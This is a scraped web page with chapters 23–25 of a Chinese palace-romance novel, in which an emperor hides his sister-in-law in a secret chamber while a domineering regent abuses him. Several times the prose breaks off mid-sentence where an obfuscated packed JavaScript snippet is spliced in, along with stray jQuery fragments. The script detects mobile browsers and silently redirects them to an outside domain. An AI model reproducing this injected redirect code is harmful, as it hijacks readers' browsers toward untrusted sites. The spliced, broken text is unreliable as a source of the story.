l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451172|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的眉眼仍旧带着少年气,那双眼睛明明狠厉,却在看向自己时,透出一抹依赖的柔意。
她忽而明白了什么,心口微微一颤。
这算什么爱?
他把自己当成唯一的依靠,然后本能地寻求温暖,那种纠缠逼迫,不过是小孩子心性罢了。
倘若他只是个寻常人家的少年公子,定是会与一个同样美好娴静的闺阁小姐相爱相守的,哪里会与自己的嫂嫂纠缠不清?
想到这里,胡玉烟眼底浮起一丝酸涩。她亦跪倒在地,当着赵长昭的面抚上她鬓边的碎发,那里还有几根除不尽的银丝。
“长昭,你看见了吗?我长你六岁,如今我鬓边都生出白发了,很快脸上也会长满皱纹。你还风华正茂,以后还会遇上很多人,何必与我纠缠?”
胡玉烟语气柔和地像是在哄孩子,“我知道你可以安排我出宫,让我去给先帝守陵好不好?”
赵长昭愣了片刻,看着近在咫尺的人,他伸出手勾住了眼前人胸前的一缕垂发,在发丝上虔诚地落下一个吻。
“玉烟,你即便变老变丑又如何?旁人在我眼中不过是一副骷髅架子。”
“我不要别人,我偏要你。”他微微扬起下巴,说得笃定。
胡玉烟呼吸一滞,她忽然意识到,自己所有的挣扎在他眼里都没有意义,她想骂赵长昭是个疯子。
赵长昭微微向前倾身,两人鼻息纠缠,唇也快要贴上来,然后他眼睁睁看着近在咫尺的人眼角滑落一滴泪。
他问道:“你若真的想去守陵,可不可以来守我的陵墓?”
胡玉烟吃了一惊,一股说不清的情绪在心底翻涌。
到底是谁错了?胡玉烟在心底喃喃,她胸腔被憋得发痛,眼角却不受控制地湿润。
赵长昭伸手,指腹轻轻摩挲过她的脸颊,随后俯身在她额头落下蜻蜓点水的一吻。
“玉烟,这些日子眼睛都哭肿了,是为了我吗?”
“玉烟,我们明明这么相配,有没有可能你心里其实有我呢?”
赵长昭的声音轻柔,带着某种蛊惑的力量,胡玉烟的眼泪流个不停,她将头摇了又摇,赵长昭却加大了力度用双手捧住了她的脸,紧接着一个吻落到她的唇上。
双唇只轻轻一碰,连余温也转瞬即逝。胡玉烟的眼睫耸动,好似被刺了一下。
昏黄的烛光照亮着赵长昭消瘦的声音,他慢慢起身,眼神空洞,像是被抽去了魂魄般踉跄后退几步。
目送着赵长昭离开,胡玉烟呆坐在原地,她抬手抹去脸上的泪,却发现根本擦不干净。
她干脆仰面躺在床上,任由泪水从眼角静静滑落,浸湿鬓发。
脑中回旋不去的,是许多年前的那个春日,她着一袭新嫁衣,堂堂正正嫁给赵长曙做王妃。一个女子在最好的年华里,自是期盼与夫君举案齐眉、白头偕老的,是她命薄,眼睁睁看着一切成空,怨不得旁人。
她见过冷宫的风霜,听过深夜里太监垂泪求死,也亲眼看着赵长曙在高位上日渐冷漠,形同陌路。
纵有千万般不得已,他真心待她也伤她甚深,恩怨交织,早已剪不断、理还乱。如今想来,只觉一声叹息罢了。
胡玉烟缓缓蜷起身子,伸手抚住自己的小腹,像个从梦中惊醒却回不到现实的人。
23. 落英(三)
胡玉烟无奈到了极点,反而笑出声。
这日之后,赵长昭又消失了几天。
等他再出现时,他头发理得整整齐齐,黑金朝服也换成了温文的青色长袍,眼神沉静,不再偏执得发亮。
胡玉烟没有作声,只是静静地看着他,两人之间的氛围有些尴尬。
赵长昭在她面前摆下一方精致的食盒,一如往昔那样替她将菜肴一一摆好,然后才坐到一边。
窗外的一只黄莺在啼叫,胡玉烟垂下眼眸,缓缓伸手取了筷子,低头吃了一口。
他今日无意与她谈风月,她也闭口不提。
她用完膳,拿起丝帕擦了擦嘴角,冷着脸直言道:“上官楚呢?”
赵长昭完美的面具出现一道裂缝,他垂下眼眸,“上官楚仍是上官楚,我也仍是那个无能帝王。”
胡玉烟知他计划失败,心下了然,更多的还是不安,赵长昭如此反常一定是出了什么岔子,可他不愿与她说。
她看着赵长昭,眼中多了几分戒备。
赵长昭起身,替她收拾食盒,临走时轻声道:“我明日再来,然后应该有一段时间不能来见你了。”
胡玉烟颔首,眼看着赵长昭转动钥匙打开暗门,她忽地起身上前,走到赵长昭面前,然后慢慢拥住了他。
她贴在他耳畔道:“万事小心。”
赵长昭的心跳漏了一拍,他正想抬手回拥,胡玉烟已经后退了一步。
他只好浅浅一笑,眼神中一时间带了几分羞怯。然后大门合上,将两人彻底隔绝。
胡玉烟闭了闭眼,低头看向起了一层薄汗的手心,她手中正紧握着那枚暗门的钥匙。
她一直坐在床沿,心知赵长昭一定很快就会发现钥匙不见了,可她现在还不能确定御书房是否有人。
约莫等了一炷香的时间,天色已经渐渐暗了下去,胡玉烟轻手轻脚地将钥匙插入锁孔,旋动,咔哒一声轻响,门开了。
她不疾不徐地探头张望一番,见屋中空无一人,才快步走了出去。她不敢多看,只快步绕到案后,手忙脚乱地翻找那些堆在案几上的折子。
胡玉烟一一翻看,心跳几乎快到耳膜。
看日期,这些奏折已经积压许久,内容多是些请安问好的。胡玉烟依旧不死心,加快了手上的动作,原本整理好的桌面被翻得一团糟。
她不懂政务,只手上一顿,恰好翻到一份为宿州通判求情的折子。胡玉烟记得这位宿州知府与胡家是姻亲,私交甚好。
这折子语言简练,点到为止,并未提及宿州知府犯了什么事,胡玉烟皱了眉头,继续在桌上的奏折中翻找。
“玉烟。”
一个声音忽得从背后传来,胡玉烟被吓了一大跳,手中的奏折跌落在地。
她这才注意到赵长昭竟还在御书房中。
黑暗中一个修长的身影缓缓朝她走来,他的脚步有些踉跄,胡玉烟并没有被抓了现行的心虚,她手中仍捏着密室的钥匙,看着赵长昭一步步朝她走来。
眼前人早已从一个追着她跑的小孩儿变成了一个高过她一头的少年了,他依旧依赖她,可她却只能受制于他。
“你的腿怎么了?”胡玉烟目光下垂,方才赵长昭一进门她就察觉到他走路的姿势不对,如今又发现他的小腿上绑着木夹。
赵长昭直言道:“上官卓昂打的,说是给我点教训。”
他又补充道:“太医看过了,说无妨,养一段时间就好了。”
听得此言,胡玉烟不可置信地皱着眉,心中惊讶于上官一族的狂妄。
赵长昭面上波澜不惊,甚至怕吓着她,嘴角还挂着淡淡的笑意。
“外头危险,玉烟若实在想出来尽可以告诉我,我来为你安排。”
胡玉烟胸口堵得慌,下意识反驳道:“我不是的你的犯人。”
她躬下身将掉落的奏折捡起,又理了理被翻乱的桌面,终究是忍不住问:“你是不是有什么事瞒着我?”
赵长昭摇头的幅度很小,胡玉烟下意识便知他在说谎。
她继续追问:“宿州知府犯了什么事?为什么大理寺卿要为他求情?”
赵长昭张了张口,顿了顿才道:“他得罪了上官家。”
胡玉烟眉头微微皱起,没动,也没回应,两人间就这么沉默着。
赵长昭只继续一瘸一拐地走近她,他解下身上的披风想披在胡玉烟身上。胡玉烟侧身躲过,赵长昭只得缩回手,将披风挂在臂弯。
“御书房随时可能会有人进来,玉烟先回去吧。”他催促着,牵着胡玉烟往密室里去。
胡玉烟沉默了半晌,烛火在她身后轻轻摇曳,把她的影子拉得极长。
“赵长昭。”她轻轻叹息,“你是皇帝,不应该作茧自缚,在这方寸之地同我耗着。”
“可我不想做皇帝。”他几乎是贴在她耳边说出这句话,声音里带着一丝微颤,“我只想要你,我想和你去山水间做一对平凡夫妻。”
她心头一酸,忍不住抬手去触他的脸,指尖划过他的颧骨,触到那一片微凉的皮肤。
赵长昭面颊消瘦,脸色苍白得毫无血色,眉宇间是化不开的哀愁。
“你怎么变成这样了?”她哽咽着问,声音像被风吹裂的丝线。
赵长昭闭了闭眼,猛地将她抱进怀里,抱得很紧,像是要将她揉进骨血。
“倘若没有你在我身边,我早撑不下去了……”他的声音闷在她肩头,带着颤抖。
胡玉烟的喉咙也堵住了,眼泪不受控制地涌出来。她想说她算什么,可话到嘴边,只剩下一声低低的抽泣。
胡玉烟继续啜泣着,“为什么死了这么多人,上官楚还活着!为什么我们之间变成了这样!你怎么可以对我说这些话!我明明是你的嫂嫂!”
赵长昭一把将她搂住,紧贴在她耳畔,用极重的语气道:“不是了,不是了,是皇兄先背弃了你,你早就不是我的嫂嫂了。”
胡玉烟心中升起一阵阵无力感,她控住不住不去自怨自艾,她放声尖叫,可声音在密闭的房间里回荡,似是在嘲笑她。
她发了狠,低头狠狠咬住赵长昭的肩膀,想要从那里撕下一块血肉。赵长昭一声不吭,默默忍着痛,甚至还安抚似地轻轻拍着她的背。
“我见过世间许多人,唯独你让我不惧,不厌,也不舍。玉烟,我心悦你,不是一时的妄念。”赵长昭脸上多了几分祈求,胡玉烟屏住呼吸,冷冷地看着他,一言不发。
相同的话赵长昭已经说了无数遍了,胡玉烟知道对方的把戏,胸口却依旧堵得慌,他们走到这一步,也多亏了她心甘情愿的沉沦。
她的沉默比斥责更重,赵长昭得不到回应,加重了手上的力气,两人就这样紧紧抱在一起,胡玉烟的哭声渐渐压不住,胸腔起伏得厉害,像要把这些年所有压下去的委屈与恨意一口气倾泻出来。她的手指紧紧抓着赵长昭的衣襟,指节因用力而泛白。
“对不起、对不起……”赵长昭又向她道歉,随后又冷声宣判:“我们早就回不去了,玉烟为什么不愿意接受呢?”
赵长昭也在颤,他抬手按着她的后脑,将她整个人都护在怀中,低声一遍遍唤她的名字,声音嘶哑,像是在怕她会从怀里消失。
他咬着牙道:“我本是短命之身,他日若早早入了阴曹地府,也断不求再投胎做人。我只愿化作厉鬼,索尽上官一族的命债。那之后,我便做鬼也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468709|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要追着你,无论你走到何处,我都要在你身侧,缠你骨血,永不分离。”
“玉烟,你永远不可能摆脱我的。”
赵长昭的双眼像淬过血一般,胡玉烟的冷汗顺着背脊滑下,她的眼眶因痛哭而红肿着,胸口也一阵阵地闷痛。
他们本该各守分寸、相敬如宾,却被逼得在风刀霜剑中互相取暖,反倒像一对同病相怜的困兽,被困在同一副铁笼里,呼吸都带着彼此的气息。
手中钥匙在掌心膈出一道深痕,胡玉烟摊开手心,对赵长昭道:“赵长昭,别让我恨你。”
赵长昭一瞬间红了眼。
胡玉烟继续道:“我不属于你,不是被藏起来的物件,你我之间不该是这样。”
“日后你再来找我时,敲门两长一短,我自当放你进来。”
胡玉烟说罢又将钥匙紧攥在手心,她背过身去,用袖子细细擦拭着脸上的泪痕。
不一会儿身后传来一声浓重的叹息,胡玉烟始终背身而站,她听见耳畔传来开门的吱呀声,看见一束微光洒在面前的墙壁上,然后是踉跄的脚步离去声,光也不见了。
胡玉烟将钥匙塞在枕头下,枕着泪迹未干的软枕渐渐睡了过去。
几个月以来,胡玉烟终于睡了个好觉了。
梦中,她披着大红的喜帕,坐在花轿里,心口怦怦乱跳。外头鞭炮声震天,锣鼓喧嚣,街巷两侧人影如潮。
她听见人声祝贺,轿子停了,外头传来执事嬷嬷的高声:“吉时已到——新娘下轿——”
她被人搀着走,步步生花,照着指引一步一步完成了仪式。
拜过天地后,屋内只剩烛火轻晃,窗外细雨似织。她坐在床榻上,红盖头下的世界昏红一片,心绪混乱得像乱麻。
她自是记得那个几番来墙头偷看她的少年的,后来没几日爹爹便说王府来提亲,问她愿不愿?
胡玉烟就这样与赵长曙隔着屏风说了会儿话,那之后她高兴地几夜没睡着。
她听见门被推开的声音,脚步声一点一点靠近。
屋里只剩下她与那人。烛影微晃,她听见衣袍轻擦的声音,那人缓缓走近,指尖微凉,挑起了她的盖头。
红纱滑落,世界豁然明亮。
胡玉烟的呼吸骤然一滞,笑容僵在脸上。
是赵长昭。
他穿着喜服,眉目清俊,唇角带着淡淡的笑。
“玉烟。”他唤她,烛光随着哈气跳动,“我来娶你了。”
“怎么是你?”胡玉烟如梦初醒,之前的绮丽幻境立刻被打碎,她后退一步,裙摆扫过地面,下一刻脚下一绊竟狼狈地摔倒在喜床上,被床上的桂圆莲子膈得生疼。
赵长昭一步步逼近,直到两人呼吸相叠。烛火晃动,红纱散落,他的手轻轻捧着她的脸。
胡玉烟只觉得心口猛地一沉,想要开口,却发不出声。
忽然,喜烛“啪”地一声炸开,烛泪四溅,她惊叫出声,眼前的红色化作血的颜色,喜帕、红绸、花烛,全都燃成灰烬。赵长昭的身影一点点模糊,却仍在火光中注视着她。
“我说过。”他轻声道,语气阴森不似活人。
“就算做鬼,我也要跟在你身侧。”
赵长昭的身影在眼前消失,只留下一片血红。
胡玉烟猛地惊醒,枕边冷汗淋漓。她睁眼一看,竟发现赵长昭正俯在她床前,脸庞近得骇人。他的身形在昏暗灯光下微微发颤,双眼布满血丝,像是已经几日未眠。
她一时不知是真是幻正要惊呼出声,赵长昭却捂住她的嘴,他将额头贴上她的,整个人都在轻轻发抖,声音几近哀求,“玉烟……你说,你说你永远不会离开我,好不好?”
24. 玉兰(一)
赵长昭一瘸一拐地走进正殿,额头渗出细密的汗珠,上官楚正端坐着等他。
赵长昭在御案前止步,深吸一口气,双手将一封新草拟的圣旨奉上。那纸上朱笔赫然写道:“辅政大臣上官楚,有功于社稷,诏封异姓亲王。”
上官楚眉梢微挑,他接过圣旨,低头扫了几眼,确认无误后,抬了抬下巴示意赵长昭落玺。
赵长昭没有说话,只默默将圣旨平铺在案上,取起玉玺,蘸上印泥,稳稳地盖下。
他朗声念道:“奉天承运皇帝,诏曰——”
见上官楚没有要跪迎圣旨的意思,他语声一顿,索性不再多念,只将盖好玺的圣旨递了过去。
上官楚接过,淡淡地道了声:“臣领旨谢恩。”
语气里没有一丝敬畏,反倒透着不加掩饰的讥嘲。他垂眸扫了一眼手中的圣旨,忽然像是生出几分玩味,快步绕到书案前,随手拿起那枚尚沾着印泥的玉玺。
烛火映着玉石温润的光泽,上官楚眯起眼仔细端详,忽而轻笑一声,转身走到赵长昭面前。
赵长昭立在原地,眼看着他却并不动作,不料上官楚忽然扬手,像起了玩心似的将那块玉玺猛地盖在赵长昭脸上。
赵长昭始料不及,面颊一颤,面皮瞬间泛起一道清晰的朱痕,红得刺眼。
上官楚却大笑起来。
“皇帝小儿脸窄,是福薄之相,却刚好能承得下这印,有趣有趣。”
赵长昭站在原地,他没出声,没退一步,低垂着眼帘将情绪层层压进心底。
上官楚欣赏着赵长昭狼狈的模样,偏偏要与他唠家常,“臣的老母近日病了,她平日最爱吃鱼,臣想效仿古人卧冰求鲤,可惜年岁已高。”
赵长昭淡淡笑了一笑,只说简单,立刻吩咐人去办。
眼见着上官楚兴致颇高,赵长昭继续陪着笑上前一步。
“上官大人,严子虚一案……他毕竟是朕的恩师,臣下之礼未尽,已为君王之罪。如今一族被列入逆党,九族抄斩,但求大人看在旧日情分,开恩一线,留其家眷一命,充发西南也好。”
他顿了顿,语气添了几分凝重,“朕愿退位让贤,以谢天下。”
“哦?”上官楚挑眉,像是听到了什么滑稽之语,他缓缓踱步,站在赵长昭几步之外。
“陛下并无大过,为何要让位?”他嗤笑出声,上下打量着赵长昭,“若陛下禅位于我,世人只会说我上官楚谋逆弑君。陛下这退位让贤四字,是想叫我背负篡位之名?”
他笑着摆摆手,像个长辈似的轻轻拍了怕赵长昭的脸,“陛下若是皇位坐腻了,等皇后的儿子生下来,早日封太子,陛下便可去当太上皇享享清福了。”
赵长昭红了眼眶,他止住呼吸,一抬眸,迎上他那双嘲弄的眼。
“不过……”
上官楚转身坐回高座,抬手轻轻掸了掸袖口上的灰尘,“赵长昭,你真是高看自己。你以为你还有交换的筹码?你如今手无兵、背无民,坐这皇位都摇摇欲坠,还敢跟我谈条件?”
“你是个孤家寡人。你的父母、兄长、亲信、恩师……他们一个个都死了。你现在剩下什么?一个残破不堪的皇位?”
他的语声讥讽而残忍,“你不想杀严子虚满门,是因为你还想做人,可你看看你现在是个人么?你连做皇帝都做得不像样。”
赵长昭双拳紧握,骨节泛白,整个人仿佛钉死在殿中,动也不动。他知道自己不能发怒,不能反驳,更不能退后一步。
他只敢在心里对着自己自嘲一笑,随即拱拱手,对着上官楚一拜,道:“多谢上官大人提点,有大人在朕身边,是朕之幸。”
“皇后将要生产,朕去瞧瞧皇后。”
转身之际,赵长昭重重地闭了闭眼,心中却想,他不是孤家寡人,他还有胡玉烟。
他心里像被什么柔软却锋利的东西轻轻拧了一下,他腿伤未好,却尽力不让上官楚看出什么,他快步走着迫不及待想离开正殿,将这片污秽之地甩在身后。
就在赵长昭将要跨出殿门的瞬间,上官楚忽然冷冷地喝道:“且慢——”
赵长昭脚下一顿,一手扶着门框,僵硬着转身往回走了几步。
“爱卿还有何事?”
上官楚眯起眼瞧他,“听说卓昂伤了龙体,如今看来陛下似乎已好转不少。”
腿伤才不过两三日,怎可能痊愈?赵长昭知上官楚并不关心他的身体,只随口勉强道:“爱卿有心了,朕确实好些了。”
“啊——”他话音未落,上官楚冷不防解下腰间佩剑,以剑作棍狠狠朝着他的腿上击去。
剧烈的疼痛瞬间袭来,赵长昭面色扭曲,额头渗出细密汗珠,颤抖着双手按住小腿,急切地确认骨骼是否完好。
他忍着痛,颤声道:“上官大人打得好,是朕一时疏忽,让奸臣险些害了大人。”
他眼角划落一行泪,又抬眼盯着上官楚,面上露出几分委屈,“上官大人待朕如父如师,朕不能没有上官大人,是朕的错……”
上官楚若无其事地将剑重新挂回腰间,冷冷道:“断不了,臣是武将,最会拿捏分寸。”
说完,他扬长而去,毫不理会倒地不起的赵长昭。
赵长昭从剧痛中回过神,他抬起头死死盯着上官楚的背影,毫不掩饰脸上的悲愤,恨不得将人活生生扒皮拆骨……
胡玉烟再睁眼的时候,发觉自己正躺在密室的窄床上,她缓缓撑起身,目光扫过狭小的空间,赵长昭正趴在小桌前,似是睡着了。
她抬眼望向墙缝,发觉外面是深夜。她不愿惊动赵长昭,只是静静躺了回去,手指轻轻摩挲着袖口的纹线,心头翻涌不息。
密室的钥匙在她手中,赵长昭若是白日来找她,便会依言敲门,可有好几次胡玉烟夜中醒来,竟发觉赵长昭就在屋中。
两人就这样心照不宣。
她闭上眼,蜷缩着贴在墙角将头埋入膝间,心里泛起一种可怕的、柔软的错觉,若她已是一个被这个天下遗忘的幽灵,那是不是……只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492665|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩赵长昭还记得她、惦记她、想要将她留住?
胸口的酸意与恐惧交织着,她的身躯不受控制地轻微颤抖,忽而一只手抚上了她的肩,她知是谁,慢慢地放松下来。
“玉烟……”
“我没事。”
隆冬时节,雪才落了半日,便厚得没过了靴沿。胡玉烟换了一身素白衣裳,从墙上的细缝中窥见一地洁白。
没想到自己竟真成了话本子里那等身世悲凉、困于深宫的妇人。
胡玉烟缩在角落里,盯着面前的烛火,一坐便是一整天。她忽而想到赵长昭,心里泛着痒意,她从白天等到夜里,从一开始的不确定到后来的期待,可一天过去暗门并没有传来敲击声。
眼下正是寒冬时节,一大早宫车便匆忙驶向元都河畔,赵长昭面色平静,一阵刺骨的寒风吹来,他不禁往裘皮大氅里缩了缩。
马车在河岸边缓缓停下,赵长昭深吸一口寒气,掀帘下车。
河面早已结了厚冰,他一下车便直直迎来一阵寒风,寒风像刀子一样刮在脸上,逼得人眼眶发酸。
随行的侍卫低声劝道:“现在风大,陛下不如先避一避吧。”
赵长昭只是摇头,脚步沉沉地踏上冰面,走向河心。他捡了块大小趁手的石头,一点点凿开冰眼,碎冰飞溅,冰水猛地溅进袖口,顺着手臂一路冷透骨髓。
冰眼终于透出幽幽波纹,他干脆褪下大氅与厚袍,只着一袭单衫伏倒在冰面上。脊背触到寒冰的刹那,寒意像毒蛇般顺着脊柱往上窜,他忍不住打了个寒颤,却硬生生咬紧牙关,不让自己缩回去。
终于察觉到身下传来一片湿润,他缓缓俯身,将双臂探入刺骨的河水。
瞬间,手指被冰水冻得发麻,像是要被生生折断。水下那道滑腻的影子惊惶乱窜,他屏住呼吸死死按住,冰水溅到面颊,立刻凝成一粒粒冷霜。
终于,他一把将一条活鱼抄出水面。
鱼在冰面上乱蹦,尾鳍拍起白霜,他双手僵硬到几乎握不住,唇色透着紫,仍护着那鱼像捧着什么宝贝,交给候在一旁的亲随。
“送去上官大人府上,交代鱼是怎么来的,吩咐炖汤……给上官大人补身子。”
赵长昭的膝盖依旧陷在冰面上,直至宫人搀扶才缓缓站起。
他急促上了马车,浑身止不住地颤抖,姜汤滚烫灌入喉间,胸口却像被寒风劈开,他大口大口饮着,风声呼啸,好似有人在耳畔耳语。
鱼汤送到上官楚府上时,赵长昭正踉跄地从轿撵上下来,他脚步虚浮,像是踩在一团软泥上。
侍从要上前搀扶,赵长昭抬手虚虚一挡,宫门前的风又猛地灌来,他忍不住弯下腰,剧烈地咳了几声,连带着肩膀一阵阵颤动。
热血腥甜地涌上喉口,他硬生生吞了回去,只留下一抹铁锈味挂在唇齿之间。
侍医跪在殿内为赵长昭施针,他的手指依旧握不住茶盏,热茶溅在手背上,也没让他觉出多少热意。
当天夜里,赵长昭便起了热。
25. 玉兰(二)
御榻前,殿内炉火正旺,赵长昭靠在厚重的锦枕上,唇色微白,眼尾因发烧染出一抹不正常的绯红。
他一睁眼正见着上官楚坐在自己榻前,赵长昭吓了一大跳,他慌张地撑着手想要起身。
“别动。”上官楚伸手按住他肩头。
赵长昭只好又僵着身子躺下,他咽了咽唾沫,嗓音因病意而带着沙哑,“冬季的鲤鱼最是大补,上官老夫人用了鱼,身子可好些了?”
上官楚收回手,坐在一旁的雕花榻上,目光在他憔悴的面上停了片刻,“一听说陛下亲自卧冰抓鱼,老母感激涕零。”
赵长昭勉强笑了笑,“上官大人是我赵国栋梁,朕自当将上官老夫人看作亲母。”
上官楚收回目光,转而把玩起手上的翠玉扳指,语气不咸不淡,“老母得陛下挂念,上官一族皆感沐皇恩,如今见陛下受寒重病,微臣更是惭愧。”
赵长昭捂着嘴咳嗽起来,咳嗽声带着轻颤,他轻笑道:“你我君臣之间,不必说这些。”
他方说完话,此刻却是咳地止不住。
上官楚见他这模样微微一顿,随即拱手道:“臣从府库中取了一只好参献于陛下,陛下好生休息,臣不日再来探望。”
赵长昭咳嗽着点点头,抬手示意宫人送上官大人离开,一直等到脚步声退去,他仍是控制不住咳嗽,直到喉咙呛出一口血。
胡玉烟一连好几日不见赵长昭踪迹。
她手中有可以离开的钥匙,却没有真的离开,更是默许了赵长昭夜间来偷看她,应了他说做鬼也要缠着她的那段话。他对她的依恋更甚,若非有事,赵长昭绝不会一连几日不出现。
胡玉烟心中生起一阵不安,这样的不确定,比明刀明枪更叫人心慌。
她不敢面对赵长昭的情谊,可一想到会失去他,就如同万箭穿心。赵长昭需要她,她何尝不是只有赵长昭在身边时,她才感觉到自己还活在这世上。
胡玉烟将手指抵在墙壁的缝隙上,感受着外面的丝丝冷意。
她的抽屉里还放着赵长昭盛夏时送给她的那支荷花,这世间的温情,她早已以为自己不配再得,她轻轻叹了口气。
几日后,胡玉烟耗尽了最后一丝耐心,犹豫再三最终开了暗门。
御案上的奏折堆积如山,胡玉烟在其中一阵翻找,发现几乎都是请安折子,赵长昭已经很久不曾来御书房了。
是病了吗?
心中的不安并没有消散,她自然知道赵长昭关着她除却想将她留在自己身边外,是真的为她的安全着想,她不能蠢到去送死。
胡玉烟强忍下躁意,叹了口气,又退回密室。
她继续一连又等了好几日,食物快要吃完了,却始终不见赵长昭出现,甚至连御书房都不曾有人来过。她确信一定是出了什么事,从白天等到黑夜,终于决绝地换上了赵长昭此前拿给她的一身宫女服装。
她出了暗门,又推开御书房的大门,观察了四下无人,趁着夜色快步朝寝殿的方向去了。
夜色沉沉,殿外的风呼啸而过,卷起檐角的铜铃,叮叮作响。
越往前走越见到不远处灯火通明,人影耸动。又见一个衣容华贵怀,怀着身孕的女子正朝这边走来,胡玉烟放缓了脚步,默默垂首立在原地。
所幸女子并没有注意到她,只自顾自地远去了,只留下一点微不可闻的脂粉气。
胡玉烟忍不住张望了一眼,这自然是上官楚塞给赵长昭的皇后了,上官皇后怀着身孕这么晚还来探望赵长昭,恐怕的确是赵长昭出了什么事。
她下越发慌乱,屏住呼吸,假作镇定地跟在来往的宫女身后混进了内殿。
绕过长廊与前厅,药香与苦味扑面而来,她直直走到赵长昭床前,又发现殿中燃了四个火炉,熏得人头脑昏昏。
屋内气息沉闷,烛光昏黄。随侍的内侍上前,目光警惕地在她身上打量一圈,沉声问:“你是哪个宫的?来此何事?”
胡玉烟顿了顿,放高了音量,带着犹豫道:“奴婢是皇后宫里的,皇后娘娘吩咐陛下醒了记得来看她。”
这个理由实在拙劣,内侍眉头紧锁,刚要喝问,帷帐内忽然传来低哑却透着威压的声音。
“你们都退下。”
殿中人应声而退。寂静中,胡玉烟只觉鼻尖泛酸,她觉得步子沉沉,怎么也迈不出一步。
“玉烟……是你吗?”
帷帐轻轻掀起一角,一只苍白的手缓缓探出。
胡玉烟快步上前,几乎是扑到床边,将那手握住。
掌心微微潮湿,手背却凉得沁骨,她将那手牢牢握在手心,又掀开帷帐,这才看清了床上躺着的人。
赵长昭的脸色极白,额前的发丝早被汗水濡湿,贴在苍白的面庞上,眸光却亮亮着,正带着笑意看着她。
他目光迷离片刻,适才慢慢聚焦。随即伸手摩挲着她的侧脸,声音低哑得像风中沙砾,“我想你了,还总是梦见你。”
待确认了手指触摸到的肌肤是实实在在的,他方道:“这回不是梦了,我就知道玉烟会来看我。”
胡玉烟眼角划过一滴泪,赵长昭顺势替她擦去了。
“你这回总是真真切切地为我而哭了吧。”他说道,随后将目光移向小几上的烛台,发出一声叹息,“我命如残烛,因逢君而不灭。”
胡玉烟眼眶微热,忽而觉得什么都不重要了。赵长昭整个人轻得像一缕烟,她怕他是强撑着一口气要等她,她怕她来晚了一步便再也见不到他。
胡玉烟将他的手握住,贴在自己面颊上,又在慌乱中将那手吻了又吻。她俯身去探他额头,触手烫得惊人,“秀郎怎么病成这样了?”
胡玉烟的语气中透着悲戚,两人靠得极近,赵长昭火热的呼吸打在她脸上。
榻上的人摇摇头,又捂住唇咳嗽了几声,“受了风寒,没想到会病得这般重,吓到你了。”
赵长昭目光紧紧盯着她,他声音沙哑,却带着炽烈的眷恋,喃喃唤道:“我好想你……”
一瞬间,他眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508613|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底的赤热烫得胡玉烟心口微颤。胡玉烟手指不自觉地收紧,又迅速松开,转而将被角掖好,她不敢与他再多纠缠,怕自己无法抽身。
赵长昭看着她的神情变化,心底像被什么划过,酸胀得发疼,他伸手想再握住她,却被她轻轻避开。
赵长昭固执地盯着她,唇角扬起一抹极浅的笑意,“玉烟不必担心,我自知不是长寿的命数,但这次我是一定要挺过来的。”
胡玉烟垂眸,终究是没忍住抬手抚上他沾了汗的鬓发,她紧盯着眼前人,像是想在他身上寻一丝好转的迹象。
病榻上的人在她的注视下阖上眼,似是安心。
空气里烛火轻跳,赵长昭的面色越发憔悴,他轻声道:“我前些日子烧到没意识,如今已好些了,此地不宜久留,玉烟快些回去。明日……明日亥时再来,如何?”
赵长昭虚弱地睁开眼,朝她颔首一笑。胡玉烟凝视他片刻,心绪翻涌。
“我累了,想再睡一觉。”他轻轻拍了拍胡玉烟的手背,复又合上眼,可还没等他放松下来,又立刻捂着嘴咳嗽起来。
胡玉烟替他顺着起气,觉得胸口被什么东西堵住,看着赵长昭痛苦,她也觉得自己和他痛到一块去了。
鬼使神差的,胡玉烟俯下身,在赵长昭额上落下一个浅吻,赵长昭有些迷蒙,他抬起盯住她,眼中还含着方才因呛咳而出的泪。
胡玉烟机械地又接着吻了他的鼻尖和唇,苦味顺着那一点触碰渐渐爬满了全身,胡玉烟却觉得快意。
赵长昭火热的呼吸打在她脸上,胡玉烟死死盯着眼前人,她能听见他胸腔中急促的心跳声,和自己混在一起。
自责随之而来,仿佛是她亲手败坏了最后的清规,叫自己成了笑话。可紧接着,又有一种压抑已久的怨怼从心底冲破,怨这世道不公,怨权臣擅权、怨宫廷将人命践如草芥。
他们不过是两个可怜人,怎么就不能顺着心意活一次呢?这世道这样对他们,为什么还在意那些虚礼呢?
